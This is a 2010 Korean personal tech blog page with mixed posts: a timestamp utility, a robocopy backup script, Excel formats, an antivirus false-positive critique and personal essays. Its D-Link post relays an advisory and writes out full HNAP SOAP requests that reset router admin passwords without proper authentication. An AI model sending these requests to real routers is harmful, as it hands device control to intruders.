'분류 전체보기'에 해당되는 글 192

  1. FileTimeModify 2010/02/13
  2. robocopy를 이용한 주기적인 백업 방법 2010/01/31
  3. 서버 이전 완료 2010/01/31
  4. 2010.01.29~30 접속이 원할하지 않을 수 있습니다. 2010/01/29
  5. 엑셀 사용자 지정 서식 (2) 2010/01/21
  6. D-Link 공유기 취약점 2010/01/13
  7. 안철수연구소, M&A도 좋지만 내실 다졌으면 (2) 2010/01/12
  8. 학위따기 2010/01/11
  9. 의자 파손 ㅜㅜ 2010/01/08
  10. 5개월여간의 침묵, 그리고 :) (4) 2010/01/05
  11. 사랑의 종류 (2) 2010/01/01
  12. miscellaneous 2010/01/01
  13. COleDateTime 클래스 2009/11/23
  14. netmask 별 CIDR (2) 2009/10/08
  15. Conficker Worm 바이러스 감염시 조치 방안 2009/10/08
  16. 수정함 (6) 2009/07/03
  17. WeakNet Linux Version 2.0 Final 소개 2009/07/02
  18. [Kon-Boot] Windows & Linux - Reset Password 2009/07/01
  19. 악성코드에 대하여 알면 위험으로부터 벗어날 수 있다 (4) 2009/06/26
  20. ubuntu 9.04에 laptop mode 활성화(Laptop Mode Tools) (2) 2009/06/13
  21. ubuntu 9.04에 Intel Graphics driver 2.7.0 설치하기 2009/06/11
  22. Windows Anti-Debug Reference (3) 2009/06/10
  23. [Oracle 10g] java.sql.SQLException: IO 예외 상황: The Network Adapter could not establish the connection 2009/06/09
  24. SSH Port Forwarding(SSH Tunneling) 2009/05/29
  25. Tomcat 5.5.27 설치 2009/05/28
  26. Kismet.conf 설정 (2) 2009/05/26
  27. ubuntu 9.04에서 기본적인 세팅 버그 해결 2009/05/23
  28. ubuntu 9.04에 IE6으로 AxtiveX 이용하기 (2) 2009/05/22
  29. ubuntu 9.04에 conky 설치 2009/05/21
  30. SK브로드밴드 사용자의 정당한 권리 2009/05/13
1 2 3 4 5 ... 7

FileTimeModify

Posted at 2010/02/13 20:46 // in Programming // by 엔신
사용자 삽입 이미지

윈도우에서 파일의 만든날짜, 수정한 날짜, 액세스한 날짜를 원하는 날짜로 수정함.

DayOfWeek는 입력하지 않아도 Day에 따라서 자동으로 변동됨.

VS 2008 SP1에서 만듬.

근데 왜 만들었지?

GetFileTime, SetFileTime, FileTimeToSystemTime, SystemTimeToFileTime

[실행파일]

[Source 파일]
이올린에 북마크하기
2010/02/13 20:46 2010/02/13 20:46

robocopy를 이용한 주기적인 백업 방법

Posted at 2010/01/31 21:10 // in Windows // by 엔신
@echo off
setlocal
set date2=%date:-=%
set time2=%time: =0%
set time3=%time2:~0,2%%time2:~3,2%
robocopy "C:\abc" D:\Backup\%date2%_%time3% /MIR > D:\Backup\Log\%date2%_%time3%_log.txt
endlocal
echo on
bat 파일을 만들어서 위와 같이 기재하면 됨.
20100131_2110 형식으로 폴더 생성됨.
그리고 제어판 -> 스케쥴러에 주기 등록해서 bat 실행하면 백업됨.

robocopy는 아래 경로에서 다운로드
windows 2003에 추가적으로 제공되는 툴킷

http://www.microsoft.com/downloads/details.aspx?familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

http://kldp.org/node/58297
http://ruru.tistory.com/entry/%EC%9E%90%EB%8F%99%EB%B0%B1%EC%97%85



이올린에 북마크하기
2010/01/31 21:10 2010/01/31 21:10

서버 이전 완료

Posted at 2010/01/31 18:59 // in ETC // by 엔신

웹호스팅에 의존하다가 서버를 직접 관리하게 되었습니다.
앞으로 이것저것 손이 가는 일이 더 생겼네요.

친분이 있으신 분들에 한해서
개인 계정이 필요하신 분 계시다면 충분히 열어드릴 수 있습니다

도메인만 구매하십시오.(그것도 싫다면 rain9.com의 서브 도메인으로.....)

피해상황
일단 블로그의 카테고리가 전부 사라져버렸군요.............
카테고리 설정하기 귀찮..............

http://wiki.rain9.com

그리고 wiki가 생겼습니다. 블로그의 역할이 줄어들진 않을 것 같습니다.
아무래도 블로그를 통해 잡다한 자료가 쌓이고, 정리가 되면 wiki에 등재될테니까요.

이올린에 북마크하기
2010/01/31 18:59 2010/01/31 18:59

2010.01.29~30 접속이 원할하지 않을 수 있습니다.

Posted at 2010/01/29 21:37 // in ETC // by 엔신

VPS 서버를 사용하게 되어서 도메인과 계정 자료 자체를
기존 호스팅 받던 곳에서 VPS 서버쪽으로 옮기는 작업이 진행되다보니
DNS쪽에서 이제 변경 작업하고 나면 하루정도 접속이 원할하지 않을 수 있습니다.
기존 호스팅계정쪽으로 접속이 될 수도 있고,
VPS 서버로 데이터가 옮겨진 곳으로 접속될 수도 있습니다.
그럼 이만.

이올린에 북마크하기
2010/01/29 21:37 2010/01/29 21:37

엑셀 사용자 지정 서식

Posted at 2010/01/21 15:07 // in Programming // by 엔신
#,###;[빨강](#,###);0.00;@"낭자"
양수;음수;0;텍스트

세미콜론으로 동시에 4가지 표시 형식을 지정 가능


서식코드 의미
# 유효 자리수 표시, 유효하지 않은 경우 미표시
0 유효하지 않은 경우 0으로 표시
? 소수점 앞이나 뒤에 있는 유효하지 않은 0 대신 공백을 추가하여 소수점을 맞춤
, 천단위 구분기호
[] 조건이나 색을 지정
m m:1~12, mm:01~12 월 의미
mmm은 Jan에서 Dec, mmmm은 January~December로 월 표시
d d:1~31, dd:01~31
mmm은 Sun~Sat, dddd는 Sunday~Saturday로 요일 표시
yy yy는 2자리로, yyyy는 4자리 연도 표시


이올린에 북마크하기
2010/01/21 15:07 2010/01/21 15:07

D-Link 공유기 취약점

Posted at 2010/01/13 22:12 // in Security // by 엔신

D-Link 공유기에서 취약점이 발견되었다고 한다. 얼마 전에도 D-Link 제품에서 취약점이 발견된 적이 있었는데, 그 때와는 다른 제품이며, 취약점 역시 다르다.

취약점은 단순한 HNAP를 통해 공격자가 captcha 로그인을 완전하게 bypass할 수 있다고 한다. 흠.. (그런데 왜 captcha login이지?) 그리고 내부 네트워크의 공격자뿐 아니라 외부에서도 공격 가능하다는데 외부에서 공격이 가능하다는 의미인지 내부 공격을 통해 외부 접근이 가능하다는 건지 잘 모르겠지만 쭉 보기에는 내부 공격을 통해 외부에서 접근이 가능하다는 의미인 듯함.

D-Link 공유기는 2006년도부터 HNAP(Home Network Administration Protocol)를 지원하지만, 취약점은 아래의 최신 펌웨어에서만 확인이 되었다.

1) DI524 hardware version C1, firmware version 3.23
2) DIR628 hardware version B2, firmware versions 1.20NA and 1.22NA
3) DIR655 hardware version A1, firmware version 1.30EA

HNAP는 SOAP-based의 프로토콜이며 HNAP가 사용된 부분은 "Quick Router Setup Wizard"이고, 여기에서 사용하는 명령을 통해 취약점이 발생하였고, DLink Setup Wizard 메뉴는 HNAP를 사용하지 않고, SOAP request 또한 유효하니까 괜찮다고 함.

attacker는 헤더와 다른 내용의 body를 SOAP action으로 실행 가능하다고 한다.
 
아래처럼...(아래 설명참조)

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
ContentLength:453

<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <soap:Body>
  <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
   <AdminPassword>testing123</AdminPassword>
  </SetDeviceSettings>
 </soap:Body>
</soap:Envelope>

이 코드에서는 SOAP Action의 헤더는 GetDeviceSettings을 요청이라고 보내면서 실제 내용엔 SetDeviceSettings이라고 해서 Admin 비밀번호를 testing123으로 바꾸는 코드를 담고 있으면서 그거에 대한 인증이나 인증정보를 담고 있지도 않고, 요청도 하지 않는다고 한다. (모델 DIR628, DIR655에 국한됨)

이 취약점은 유효한 reqeust인지 검증을 거치지 않아서 발생하는 문제이다.


그런데 DI524 모델은 같은 SOAP에 대한 취약점이지만, 내용이 조금 다르다.

DI524 모델은 모든 SOAP action에 대해서 인증을 필요로 하지만, admin과 user 계정 모두 이러한 action을 실행시킬 수 있다고 한다.

무슨 말인 즉, 관리자이거나 일반 유저 계정이거나 상관 없이 로그인할 수 있는 계정이라면 위의 처음 취약점처럼 관리자의 비밀번호를 바꿀 수 있는 SetDeivceSettings을 실행할 수 있다는 것이다.(여기서 문제가 되는 것은 user 계정 자체가 default로 blank password라고 한다.)

POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
ContentLength:
453
<?xml version="1.0" encoding="utf8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchemainstance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

이 코드를 보고 있자니 이번엔 Basic 인증을 거치고 쳐서 정상적으로 SetDeviceSettings Action을 보내 관리자의 비밀번호를 testing123으로 하고 있다. 정상적인 것처럼 보이지만, 문제는 이 Action을 실행시키는 계정이 관리자 권한이 없으며, 비밀번호가 없는 user 계정이라는 것(누구나 접근 가능하다는 점).

HNAP0wn 이라는 tool을 이용해서 간단하게 공격이 가능하다. 첨부되어 있는 pdf 파일을 읽어보면 상세히 설명이 되어 있다.

난 iptime 공유기를 사용중이라 직접 테스트는 못해봤지만, 간단한 구조이니까 금새 뚫리겠지.... 아마도 이 공격으로 인해서 금전적으로 크게 손해보는 기업이 나오진 않겠지만, 개인 유저단에서 인터넷을 이용하기 위해 종종 악용되어 사용하는 경우가 많이 발생할 수 있겠다.

다행인건 윈도우용 POC tool이 아니므로 그나마 이 tool을 이용하는 사람들의 범위가 더 좁아질 것이라는 생각이 든다. 누군가 윈도우용으로 만들어서 배포하지 않는다면 말이지...........

HNAP0wn라는 툴을 통해 간단하게 POC가 가능한데 난 이 tool이 POC tool인지 acttack tool인지 모르겠다....

첨부되어 있는 SOAP action 파일 목록을 보니 POC만을 위해 분석해놓은건 아닌거 같다는 생각이............

AddPortMapping.xml
DeletePortMapping.xml
GetConnectedDevices.xml
GetDeviceSettings.xml
GetMACFilters2.xml
GetNetworkStats.xml
GetPortMappings.xml
GetRouterLanSettings.xml
GetWLanRadioSettings.xml
GetWLanRadios.xml
GetWLanSecurity.xml
GetWLanSettings24.xml
GetWanSettings.xml
GetWanStatus.xml
IsDeviceReady.xml
Reboot.xml
RenewWanConnection.xml
SetDeviceSettings.xml
SetLanSettings.xml
SetMACFilters2.xml
SetRouterLanSettings.xml
SetWLanSecurity.xml
SetWLanSettings.xml
SetWanSettings.xml


pdf 파일



poc tool



http://www.sourcesec.com/2010/01/09/d-link-routers-one-hack-to-own-them-all/

이올린에 북마크하기(0) 이올린에 추천하기(0)
2010/01/13 22:12 2010/01/13 22:12

안철수연구소, M&A도 좋지만 내실 다졌으면

Posted at 2010/01/12 22:09 // in Security // by 엔신
전국 민원전산망 서비스가 사상 처음으로 마비가 되었고, 그 원인이 안철수연구소의 V3 백신의 오진이었다고 한다.

그동안 안철수연구소는 뭘 하고 있었는가?

는 농담이고..... 자세한 내막은 아래와 같다고 한다.

Midas.dll 파일을 삭제하였다고 하는데 해당 파일은 Delphi로 작성된 프로그램을 실행하는데 필요한 dll이라고 한다. 해당 dll을 삭제하게 된 이유로는 허위 스파이웨어 제거 프로그램(진단명:Win-Adware/Rogue.Viclear.2959872)을 진단하고 삭제하는 과정에 Midas.dll과 관련된 레지스트리가 존재하였기 때문에 해당 파일을 삭제하였다고 한다. 허위 스파이웨어 제거 프로그램 역시 델파이로 작성된 프로그램이기에 그러한 문제가 발생했을 것으로 본다.

국내에서는 빠른 업데이트, 빠른 적용을 우선 시 생각하다 보니, 실제로 다양한 테스트가 이루어지지 못하는 환경이 구축(?)되어 있다. 하지만, MS나 해외 여러 기업들의 경우 하나의 버그가 나오더라도, 실질적으로 그 패치가 나오기까지 생각보다 상당한 시간이 소요된다. 물론 즉각적인 대처가 이루어져야 하는 상황에서조차 상당한 시간이 소요되는 것이 단점이겠지만 대체로는 명확한 프로세스가 정립되어 순차적으로 진행되어 안정성을 확보할 수 있게 되지만, 국내의 경우에는 특정 개발이나 테스트 상황에서만 검증을 한 후 즉각적인 도입(업데이트, 적용)을 하고 추후 문제가 발생하여 다시 재검증을 거치고, 다시 한번 재도입하는 사례가 빈번하게 발생한다. 이러한 점에서 국내 업체는 MS의 대처 방법을 배워 다양한 테스트가 진행될 수 있게 하여 국내 시장을 선도하여야 하는 입장이라는 점을 명확하게 인지하여야 한다.

우리는 정상적인 파일을 오진하거나 오인식하는 경우를 false positive라고 한다. 이 것은 정말 심각한 문제이면서도 상당히 자주 발생하는 문제이기도 하다.

예를 들어 100개의 바이러스를 검색하여, 90개만 검색 성공하였다고 한다면, 나머지 10개에 대하여 검색을 하지 못한 것이므로 10개에 대해서만 조치하면 된다. 하지만, 1000개 중 100개씩 10번에 걸쳐서 분할하여 검색을 진행하였다고 하자. 각 테스트마다 검색 실패를 한 경우가 발생할 것이고, 성공한 것도 존재할 것이다. 그러한 순차대로 9차례까지 검색을 완료한 후, 10번째 검색(100개)에서 false positive가 확인되었다고 한다.  90개를 검색성공하고 5개를 오진하여 검색하였다고 하면, 그 5개로 인하여, 90개의 검색 성공한 건에 대하여서도 100% 신뢰를 할 수 없게 된다. 또한 검색실패한 5개에 대해서도 정말 검색실패인지 의문을 갖게 된다. 그렇다는 것은 그 외 나머지인 900개의 검색 결과도 신뢰성을 잃어 결과로서의 가치가 없어지게 되고, 이는 검색 전체에 대해서 신뢰할 수 없는 상황으로 이어지게 된다.

본인이 이러한 결과를 우연찮게 알게 되었다면 그 프로그램을 사용할 수 있겠는가?

오진은 검색실패보다 더욱 더 무서운 것이다.

문제는 V3의 경우 이러한 오진이 08년 7월에도 발생했었다는 것이다. 그 당시 lsass.exe 파일을 오진하여 삭제하여 시스템 부팅이 되지 않는 매우 심각한 오진이었고, 2년만에 이러한 심각한 오진이 또 발생한 것은 안철수연구소의 이미지에 상당한 큰 타격이다.

사실 false positive는 백신 업계에서는 종종 대두대는 문제이며, 아마 대외적으로 알려져 있지는 않지만 내부적으로 접수되거나 언론을 통해 공개되지 않은 false positive는 훨씬 많을 것이다. 또한 내부적으로도 처리하기 곤란한 false positive가 존재할 것이고, 이는 기술적으로 매우 큰 문제이지만, 아마도 회사의 이윤과 영업적인 측면에서 어떻게서든 무마되어 처리되고 있을 것이다. 이건 뭐.... 중요치 않겠지. 사내의 문제니까.

실제로 false positive를 찾아내기 위해서는 많은 테스트가 필요하다. 하지만 그러한 테스트에서 찾아내는 경우는 그 노력에 비해서 드물고, 우연하게 찾아지는 경우가 다반사 일 것이다. 하지만 그렇다고 테스트를 안할 수도 없는데, 이러한 테스트를 위해 안철수연구소 사내에서는 얼마나 많은 사원들이 안철수연구소 제품을 사용하고 있는지 의문이 든다.

유저들은 단순하고 무식해서, 이런 문제가 한번 발생하면 "고쳐졌어. 괜찮으니까 다시 사용해도 돼"라고 해도 쉽사리 다시 사용하지 않는다. 나 같은 경우도 중학교 시절 사용했었던 2.1기가 삼성 하드디스크에 상당한 스트레스를 받아서 6년간 삼성 하드디스크는 쳐다도보지 않았었다.

그만큼 중요한 문제인데 사과한다고 해서 유저들이 "사과했으니 알았어" 하고 넘어가서 다시 예전처럼 v3를 사용하고 있을 수 있는 간단한 문제는 아니라는 점을 간과하지 않고, 사과하는 마음에 담아 기억해주었으면 좋겠다.


여담으로 이스트소프트의 알약이 국내 개인 유저들에게 상당히 히트하며 V3의 입지를 좁혔다. 그렇다고 해서 안철수연구소에서마저 V3 ZIP을 만들며 알집의 입지를 좁히고자 시도할 필요가 있었을까? 그렇게 시도하여 입지를 좁히는데 성공하기는 한 것일까?

사람들이 말한다.

안철수 연구소를 칭해서 "압축프로그램 만드는 회사"


올해는 전방위로 M&A를 진행한다는 것을 많은 사람들이 이미 알고 있을 텐데 앞으로는

"멸치 파는 회사", "포털 운영하는 회사", "스마트폰에 들어가는 지하철 노선도 만드는 회사"

등과 같은 명칭으로 불릴 수 있거나 그 외의 매우 다양한 명칭으로 사람들에게 알려질 수도 있을 것 같다.

개인적으로 안철수연구소가 바이러스와 보안을 포기할 것이 아니라면, 안철수컴퓨터바이러스연구소에서 시작하였다는 것을 잊지 말았으면 한다.

물론 지금도 잊지 않고 있겠지만.



분류를 ETC에 넣은건 보안 시각에서 적은 글이라기보단 개인적인 잡설에 가깝기 때문에...
이올린에 북마크하기
2010/01/12 22:09 2010/01/12 22:09

학위따기

Posted at 2010/01/11 02:22 // in ETC // by 엔신
컴퓨터활용능력1급, 14학점
사무자동화산업기사, 16학점
컴퓨터운용사, 16학점
정보처리기사, 20학점

정보처리기사 따면, 최대 50학점까지 가능

14 + 16 + 20
72 + 50 = 122학점

18학점 부족함(6과목)

컴퓨터운용사
필기
접수일:05.06~05.12
시험일:05.29
발표일:06.17
실기
접수일:06.17~06.23
시험일:07.17
발표일:08.18

산업기사
1회 필기
접수일:02.05~02.11
시험일:03.07, 발표일:03.19
응시자격서류제출:03.22~03.31
1회 실기
접수일:03.08~03.11
시험일:04.17~04.~30
발표일:05.28

2회 필기
접수일:04.16~04.22
시험일:05.09, 발표일:05.28
응시자격서류제출:05.30~06.10
2회 실기
접수일:05.31~06.04
시험일:07.03~07.16
발표일:08.13

3회 필기
접수일:07.02~07.08
시험일:07.25
발표일:08.13
응시자격서류제출:08.16~08.25
3회 실기
접수일:08.16~08.19
시험일:09.11~09.20
합격자발표:10.29


- 기사 응시 자격
1.「학점인정 등에 관한 법률」제8조의 규정에 의하여 대학졸업자와 동등 이상의 학력을 인정받은 자 또는
동법 제7조 규정에 의하여 106학점 이상을 인정받은 자

- 산업기사 응시 자격
「학점인정 등에 관한 법률」제8조의 규정에 의하여 전문대학 졸업자와 동등 이상의 학력을 인정받은 자
또는 동법 제7조 규정에 의하여 41학점 이상을 인정받은 자

--------------------------------------------------------------------------

컴활1급따고
사무자동화산업기사 따고
7월 말까지 3분기 학점인정 신청하고
그 사이 정보처리기사 시험을 진행한다.

부족한 18학점은 3과목씩 끊어서 전반기 후반기 듣는다.
그러면 내년 초반도에 학위 취득 가능
빠듯하게 하면 올해 말에도 학위 취득 가능하겠지만 무리하지 않는다.

이올린에 북마크하기
2010/01/11 02:22 2010/01/11 02:22

의자 파손 ㅜㅜ

Posted at 2010/01/08 17:01 // in ETC // by 엔신
사용자 삽입 이미지
사용자 삽입 이미지

한 곳도 아니고 무려 두 곳이나 파손되어버린 ㅜㅜ
사실 첫번째 사진 파손된건 그냥 쓸려고 했는데...바퀴가 파손된 건 좀......
하긴 내가 쓰는것도 아니고 누나가 쓸 것인데.... 아.... 어쨋든 짜증...
일단 파손된 부품만 교환하기로...아..귀찮게시리....

이올린에 북마크하기
2010/01/08 17:01 2010/01/08 17:01

5개월여간의 침묵, 그리고 :)

Posted at 2010/01/05 21:42 // in ETC // by 엔신
여름에 취직이 된 이후,
정신 없는 하루를 보내면서 블로그는 뒷전이었습니다.
rain9.com 도메인을 개설한지 벌써 횟수로 8년차...

지난 5개월간 많은 것을 느꼈고, 많은 것을 잃었습니다.
5개월의 강렬한 인상이 2009년의 다른 기억을을 뒤덮을 만큼 강했습니다.

지난 5개월간의 얘기를 적어보고 싶습니다.

갓 더워질려는 7월 초, 이력서를 이메일로 보낸지
21시간만에 면접을 보고 합격까지 결정나고 입사를 하게 되었습니다?!

사용자 삽입 이미지


그 내용을 확인해보면
월요일날 오후에 이력서를 넣어보라는 권유가 들어왔고,
결국 밤에 이력서를 작성해서 화요일날 새벽 4시쯤에 이메일로 발송을 했습니다.
그리고, 아침 10시에 전화가 와서 면접을 수요일날 11시로 잡았구요.
면접 당일날, 11시쯤부터 면접을 보고 10분쯤 기다려서, 바로 합격되었다고 알려주더군요 :)

요즘 같은 시대에 흔치 않은(?) 스피드 채용이었습니다.

회사는 내용기반검색 기술을 이용한 저작권을 보호할 수 있는 기술을 제공하는 업체였고,
상당히 전망이 있는 기술력을 가진 회사였다고 생각됩니다.
거기다 제가 입사한 부서가 회사의 핵심기술을 다루는 개발 부서였기에 더더욱 큰 기대감을 가지고 있었지요.

입사하고 일을 하면서 근 5개월간 집에 오면 매일 12~1시였고,
새벽 6시 30분에 일어나 출근을 하는 생활을 반복했었습니다.
그러다 보니, 집에 와서 잠자기 바빴고, 당근 빠따루 블로깅 할 시간따위는 없었죠.(이메일 읽을 시간조차 없어서 주말에 몰아서 읽었었습니다...)

연말에 퇴사를 해서 지금은 이렇게 블로깅을 다시 하고 있습니다.

짧은 시간동안 느낀 것은
사람은 하고 싶은 일을 하며 살아야 하고,
하고 싶은 것도 일이 된다면 그에 상충하는 휴식과 보상이 필요하다는 것입니다.

그 덕에 제가 뭘 할려고 했는지 명확하게 다시 느꼈고, 어떻게 해야할 지 감이 잡힙니다.

나이가 많거나 적거나, 사람은 하고 싶은 것을 해야 됩니다 :)
그런데 이제 6개월 흘렀을 뿐인데....기억이 안나네요.. 아흑 ㅜㅜ

어찌됐거나 다시 시작하겠습니다.

여러분 또 만나요 방가방가
이올린에 북마크하기
2010/01/05 21:42 2010/01/05 21:42

사랑의 종류

Posted at 2010/01/01 20:00 // in ETC // by 엔신

1.에로스(Eros) : 에로스 타입은 완전히 육체적이고 성적인 매력에 매료된 사랑 관계다. 그런 사랑은 '깜짝 사랑, 영 이별 '이라는 우리네 속담처럼 빨리 불붙고 곧 없어지는 사랑이라는 것이다. 에로 영화 에로 배우 다 여기서나왔다.

2.루두스(Ludus) : 루두스 타입은 장난스러운 우연한 사랑을 말한다. 서로 크게 상대에게 관심을 보이지는 않으나 서로 만나는 게 재미있고 즐거우니까 좋아하는 관계다. 상대가 다른 만나는 사람이 많다는 것도 알고 있지만 서로의 의존을 피하기 위해 서로 용납하고 관계를 유지한다. 특별한 온정의 상호 교류 없으나 심심하지 않아서 좋다.

3.스토르지(Storge) : 스토르지 타입은 열정이나 탐닉은 많지 않으나 자신도 모르게 빠져드는 정이나 따스함을 느낄때다. 이 타입은 우정에서 사랑으로 변하는 경우에 흔히 볼 수 있는 상태다. 많은 경우 사랑 인지 단순한 우정인지 자신도 구별 못할 때가 많다. 애정의 위기 같은 것도 없고 비교적 지속 력이 강한 상태이나 극적인 정열이 없는 것이 흠이다.

4.마니아(Mania) : 마니아 상태는 격정적인 사랑을 말한다. 광기와 분이 계속되는 상태다. 사랑하는 사람은 항상 상대가 보고 싶어 미칠 지경이다. 환희와 절망이 성난 파도처럼 교차되는 폭풍 노도 시대, 그러나 종말은 갑작스런 파탄을 가져올 확률이 많다.

5. 프라그마(Pragma) : 프라그마는 보다 현실적인 사랑을 의미한다.가슴보다 머리가 앞서는 사랑이다. 상대가 여러모로 자기에게 맞으니까 사랑한다는 타입이다. 성격도 맞고 조건도 그만하면 됐으니 한번 사귀어 보자고 하다가 시작된 사랑이다. 그러다 서로 더욱 마음이 맞으면 진한 사랑으로 발전하기도 한다.

6. 아가페(Agape) : 아가페는 지극히 기독교적인 사랑이다. 이해와 양보와 희생을 통해 벼루어 가는 사랑을 말한다. 플라토닉 러브의 기본 패턴이다. 엄격한 의미에서 실제로 존재하기 힘든 사랑이어서 돈 환의 경우처럼 우리의 생각이나 이상 속에서만 살아 있는 실체다.

7.플라토닉(Platonic)
플라토닉 사랑은 쉽게 이해하면 정신적인 사랑 즉, 어떠한 스킨쉽도 없고, 그저 정신적으로 좋아하고 사랑하는 것임.
흔히들 말하는 짝사랑, 이루어질 수 없는 아름다운 사랑을 쉽게 플라토닉 사랑이라고 한다.

이올린에 북마크하기
2010/01/01 20:00 2010/01/01 20:00

miscellaneous

Posted at 2010/01/01 19:54 // in ETC // by 엔신

나의 20대는 어떤 일을 해도 잘되지 않았다
무엇이든 해보려고 했지만 아무것도 할 수 없었다
그것이 나의 20대이다
아무 쓸모없이, 오로지 앞만 보고 달리기만 했다
그러나 그것은 20대가 아니면 할 수 없는 헛됨이었다
20대에 하지 않으면 안되는 것은
20대가 아니면 할 수 없는 것들이다
20대에 아무 쓸모없이 달린 사람에게만
눈부시게 멋진 인생이 찾아오는 법이다
20대야말로 가장 한심하고
가장 찬란한 인생의 소중한 순간이다

<나카타니 아키히로>

------------------------------------------------------------------

인질범과 사랑에 빠지는 현상, Stockholm syndrome이란?

1973년 8월, 스웨덴의 스톡홀름에서 은행 강도 사건이 발생했다. 은행 강도들은 여러명을 인질(hostage)로 잡고 6일 동안 경찰과 대치한 사건이었다. 6일이 지나고 경찰의 작전으로 강도들은 잡혔고 인질들은 풀려나게 되었다. 그런데 인질로 붙잡혀 있던 한 여성이 그 은행 강도 중 1명과 사랑에 빠지게 된다. 이 이상한 사건을 계기로 납치나 인질로 잡혔던 사람들이 인질범(captor)과 특수한 관계를 형성하면서, 인질범의 편을 들어주는 현상을 스톡홀름 신드롬(Stockholm syndrome)이라고 부르게 되었다.

대표적인 스톡홀름 신드롬 사례로는, 1970년대 미국 캘리포니아주를 배경으로 좌익 활동을 하던 심비어니즈 해방군(Symbionese Liberation Army)이 주도한 항공기 납치 사건을 들 수 있다. 항공기에 인질로 잡힌 사람 중에는 패티 허스트(Patty Hearst)라는 여인이 있었는데, 그녀는 납치 사건을 계기로 인질범들과 유대 관계가 형성되어 이 조직에 가담하게 된다. 그녀는 조직을 위해 은행을 털기도 했는데, 그녀는 다른 조직원들과 함께 체포된 후 몇달 동안 스톡홀름 신드롬에서 헤어나지 못했다고 한다.

최근 미국에서도 비슷한 사건이 있었는데, 10년 전 탈주범에 의해 납치되었던 교도소장의 아내가 탈주범과 함께 닭을 키우며 살고 있는 것이 발견된 것이다. 납치범은 결국 경찰에 체포되었다. 그런데 인질이었던 그녀가 주변에 도움을 청해 도망칠 수 있었던 정황이 충분했지만 그렇게 오랜 시간 동안 납치범과 함께 생활했던 것에 대한 해석은 스톡홀름 신드롬 뿐이라고 한다.

스톡홀름 신드롬과는 반대로, 인질범이 인질에게 동화되는 현상을 리마 신드롬(Lima syndrome)이라고 한다. 1997년 페루 반정부군이 억류 중인 인질들에게 역동화된 것을 계기로 만들어진 조어이다.

------------------------------------------------------------------

<말콤 그래드웰>이 지은 <티핑 포인트-Tipping Point>라는 책이 있습니다. 망해가던 <허시파피>
신발회사의 신발을 뉴욕의 몇몇 히피족들이 신고 다니기 시작하더니 어느 날 갑자기 미국의 백화점을 휩쓸게 되었고, 처음 인기도 별로 없었던 <조앤 롤링>의 <해리포터>가 어느 순간 갑자기 세계적 베스트셀러가 되었는데, 이와 같이 처음에는 미미하게 진행되다가 어느 순간 ‘탁’하고 터지는 극점이 있는데, 이 순간을 가리켜서 티핑 포인트라고 합니다.

일본의 <후나이 유키오>가 지은 <100마리째 원숭이>라는 책이 있습니다. 내용인즉 1950년 일본의 미야자키 현 고지마라는 무인도에 원숭이들이 살고 있었는데, 주로 고구마를 먹고 살았습니다. 원숭이들은 고구마를 뽑아 흙을 손으로 털어내고 먹었는데, 어느 날 한살 반짜리 젊은 원숭이 한마리가 강물에 고구마를 씻어먹기 시작했다는 것입니다. 그러자 다른 원숭이들이 하나 둘 흉내 내기 시작했고, 이 고구마를 씻어먹는 행위가 새로운 행동양식으로 정착되었습니다. 그런데 놀라운 일은 고지마 섬 이외 지역의 원숭이들 사이에서도 똑같은 행위가 동시다발적으로 나타났다는 것입니다. 서로 접촉도, 의사소통도 할 수 없는 상황에서 마치 신호를 보내기라도 한 것처럼 정보가 흘러가더라는 것입니다.
연구결과, 그 종족에 도움이 되는 어떤 발전이 일어나면, 그 것이 그 무리 전체에 퍼지는데, 그 퍼진 수가 100마리가 되면, 거리나 공간에 관계없이 전 종족에게 퍼지더라는 것입니다. 이 현상을 가리켜 <100마리째 원숭이 현상>이라고 합니다.
그리고 많은 동물학자와 심리학자가 여러 가지 실험을 한 결과, 이 학설은 원숭이 뿐 아니라 인간을 포함한 포유류나 조류, 곤충류 등에서도 볼 수 있는 현상이라는 것입니다.

세상의 가치관이나 구조는 ‘깨달은 10%의 사람’에 의해 바뀐다고 합니다. 그래서 먼저 10%의 사람이 깨닫게 되면 사회가 바뀌고, 10%의 나라가 바뀌면 세계가 바뀌어지게 되는데. 이것은 시공을 초월한 공명현상이 작용하기 때문이라는 것입니다. 그러나 그 10%로도 처음에는 한 사람으로 시작이 된다는 점입니다. 처음 한 사람이 시작할 때는 그 효과가 아주 미미할 수 있을 것입니다. 한 사람씩 한 사람씩 늘어간다 해도 10%가 되기까지는 답답할 수도 있을 것입니다. 그러나 10%에 이르기만 하면 이것이 티핑 포인트가 될 수 있다는 것입니다. 마치 처음에는 대수롭지 않게 빙빙 돌던 바람이 어느 순간에 거대한 회리바람으로 변하여 집을 뽑아 올리는 힘을 가지게 되는 것과 같이 말입니다.

------------------------------------------------------------------

사고의 다각화

현대인들의 사고는 대중매체를 통해 단일화 되어간다. 나 역시 그 틀에서 벗어나기는 매우 힘들다. 가끔 틀에서 벗어나기 위해 많은 사고를 하기 위한 노력하지만, 그 노력이 쉽지만은 않다. 그러나, 노력에 의해 사고가 다각화 된다면, 의도적인 사고의 왜곡을 막을 수 있게 될 것이고, 그렇게 된다면 스스로 더 만족하고 최선의 선택 또는 결정을 을 내릴 수 있을 것이다. 사고를 다각화 할 수 있도록 우리는 일상적인 삶에서 벗어난 행동이나 사고를 직접 해볼만한 가치가 있다.

------------------------------------------------------------------

스톡데일 패러독스(Stockdale Paradox)

